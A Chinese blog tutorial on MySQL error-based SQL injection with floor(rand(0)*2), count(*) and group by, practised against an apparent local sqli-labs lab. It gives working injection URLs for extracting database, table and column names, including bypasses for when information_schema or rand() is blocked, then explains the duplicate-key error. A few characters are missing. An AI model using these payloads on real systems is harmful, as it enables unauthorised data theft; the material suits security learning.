大家好,我是你们的老朋友Alex。最近一直在学习SQL注入,发现了很多很多有趣的东西。我就分享我的一篇有关floor,rand,group by报错注入的笔记吧!
https://www.bejson.com/convert/ox2str/
0x7e == 16进制"~"
当前使用库名
http://192.168.1.19/Less-5/?id=-1' union select 1,2,count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,database(),0x7e,floor(rand(0)*2)) --
数据库版本
http://192.168.1.19/Less-5/?id=-1' union select 1,2,count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,version(),0x7e,floor(rand(0)*2)) --
爆库
http://192.168.1.19/Less-5/?id=-1' union select 1,2,count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e,floor(rand(0)*2)) --
爆表名
http://192.168.1.19/Less-5/?id=-1' union select 1,2,count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)) --
爆列名
http://192.168.1.19/Less-5/?id=-1' union select 1,2,count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e,floor(rand(0)*2)) --
爆列名时存在一个问题,我的MYSQL中DVWA数据库也存在users表名,导致爆出的列名与security混淆
去除多余的列名
http://192.168.1.19/Less-5/?id=-1' union select 1,2,count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select column_name from information_schema.columns where table_name='users'and table_schema=database()limit 2,1),0x7e,floor(rand(0)*2)) --
以上都是联合查询,我们用布尔值判断报错注入,and和or都可以
http://192.168.1.19/Less-5/?id=1' and 1=2 --
http://192.168.1.19/Less-5/?id=1' and 1=1 --
http://192.168.1.19/Less-5/?id=1' and 1=(select 1 from (select count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) --
如果我们关键用来查询和注入的information_schema.tables被禁止了怎么办?
没有关系,你想到的!我也想到了!!
http://192.168.1.19/Less-5/?id=-1' union select 1,2,count(*) from (select null union select 1 union select !1)as T group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)) --
如果rand函数被禁用了怎么办!?
没有关系,你想到的!我又想到了!!我们使用用户变量来报错!!!
http://192.168.1.19/Less-5/?id=-1' union select 1,2,min(@a:=1) from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,@a:=(@a 1)%2) --
但是为什么报错了呢?You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1)%2) -- ' LIMIT 0,1' at line 1
告诉我们报错位置在最后,可能是因为@a:=(@a 1)%2的问题!我们分析一下,emmmmmm...在MYSQL命令行执行
select 1,2,min(@a:=1) from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,@a:=(@a 1)%2);
成功执行了语句没有语法错误,但是为什么浏览器不能执行呢?
因为' '在浏览器中没有转义,我们需要转换为转义字符+
http://192.168.1.19/Less-5/?id=-1' union select 1,2,min(@a:=1) from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,@a:=(@a+1)%2) --
(o゜▽゜)o☆[BINGO!]
扯了这么多,那为什么会报错呢?我们先看一下具体函数的作用!
1.Floor函数是一个取整函数
2.Count是一个计数函数
3.Rand函数产生随机数,默认的会产生0-1之间的随机值。如果在括号中加入固定参数,那么产生的随机数也是固定值!也叫随机因子
4.Group by语句用于结合合计函数,根据一个或多个列对结果集进行分组。
首先呢,我们先排除是不是函数位置问题
看来显然不是!
那么我们再看一下是绝对报错还是相对位置报错呢?是不是可能因为是我们查询的数据太多导致的呢?
说到这里floor(rand(0)*2)的取值范围是多少呢?
好像都是哦~
我们继续,我们新建一个数据库
使用数据库
新建tests表并且定义两个列名id,name以及数据类型
我们插入一条数据!id为1,名字Alex
PS:顺便说一下删除数据delete from test.tests where id=1;
插入一条数据后,我们测试一下刚才的报错语句
没问题,我们继续插入第二条数据,然后继续测试
emmmm继续….,发现在第三条数据这里报错了!
我们再插入一条数据,再执行语句
说明我们只要查询的数据超过2条必定报错!!!!
这个报错的问题,第一种可能函数位置问题已经确定过了;第二种可能数据条数需要超过2条,也就是3条以上;那么还有一种可能的问题存在,就是会不会是rand函数的问题?也就是说会不会是它的随机因子决定了这个问题的发生!
因为rand()函数具有随机性,我们需要多次测试才能说明问题。数据条数还是从一条逐一增加……
一条时,多次测试发现没有报错
两条数据,继续测试…发现随机报错…
我们再继续插入数据测试…发现3条数据还是随机报错了!
之后再插入其他数据还是存在随机报错的问题
我们可以分析得到,在有两条数据时floor(rand()*2)是随机报错,floor(rand(0)*2)是不会报错;但是在3条以上数据时,floor(rand()*2)仍然是随机报错,但是floor(rand(0)*2)是一直会报错!那么会不会是因为floor(rand(0)*2)存在某个确定的必然因素导致的呢?
我们在有多条记录的表中查询,查看floor(rand()*2)和floor(rand(0)*2)随机的结果
可以看到每次floor(rand()*2)执行的结果总是不一样的
查看floor(rand(0)*2)的执行结果
可以看到floor(rand(0)*2)的执行结果总是一样的!那么我们就可以肯定是因为floor(rand(0)*2)的结果存在确定的可能性,并且在多数据表中这个函数的唯一执行结果导致的报错问题必然出现!
我们看一下具体原理,当count计数函数与group by同时使用时,会建立一个虚拟表
例子:
selectname,count(*) from test.tests group by name;
查询时会创建虚拟表,key(name)为主键不可重复,count(*)计数
当开始查询数据时,首先查看虚拟表中是否存在,如果不存在则插入新数据,存在时count(*)字段加1
那么结合我们报错的语句分析一下
http://192.168.1.19/Less-5/?id=-1' unionselect 1,2,count(*)from information_schema.tableswhere table_schema=database()groupbyconcat(0x7e,database(),0x7e,floor(rand(0)*2)) --
从information_schema数据库中的tables表,满足条件table_schema=database()也就是库名security,并以concat(0x7e,database(),0x7e,floor(rand(0)*2))分组。那么key就是floor(rand(0)*2)
在此之前我们需要知道floor(rand(0)*2)被多次执行后的结果是什么,我们牢记这个顺序
1.在查询之前默认会创建虚拟表,之后我们取第一条数据执行floor(rand(0)*2),发现执行结果为,查询虚拟表发现的键值不存在,则floor(rand(0)*2)又被重新计算一次,结果为1,最后插入虚拟表,这样第一条数据查询完毕
2.取第二条数据,执行floor(rand(0)*2),计算结果为1,查询虚拟表发现1的键值存在,则floor(rand(0)*2)不会再次被计算,直接count(*)加1,第二条数据查询完毕
3.取第三条数据,执行floor(rand(0)*2),计算结果为,查询虚拟表发现的键值不存在,则floor(rand(0)*2)又被重新计算一次,结果为1,最后插入虚拟表。但是虚表的主键必须是唯一的,所以插入时就直接报错了!
这三条数据的查询floor(rand(0)*2)一共被执行了5次,所以也就是为什么3条及其以上数据存在时,语句才会报错了!
因为floor(rand()*2)没有随机因子来决定,那么具体是什么样的情况才能报错呢?
只有第二次计算floor(rand(0)*2)(插入虚表时),与第三次计算(第二次数据查询)的结果不同,floor(rand(0)*2)才会再次执行计算。那么第四次计算的结果(第二次插入虚表)与第二次计算(第一次插入虚表)相同,才会主键相同引起报错!
如果虚表在后面的查询存在0,1键值,就不会再次执行计算并插入,只会增加count(*)的个数。所以这就是为什么不加入随机因子有时候会报错,有的时候不会报错的原因了!
总之报错需要count(*),rand()、group by,三者缺一不可
参考链接:http://www.cnblogs.com/xishaonian/p/6227405.html
https://www.2cto.com/article/201604/498394.html
领取专属 10元无门槛券
私享最新 技术干货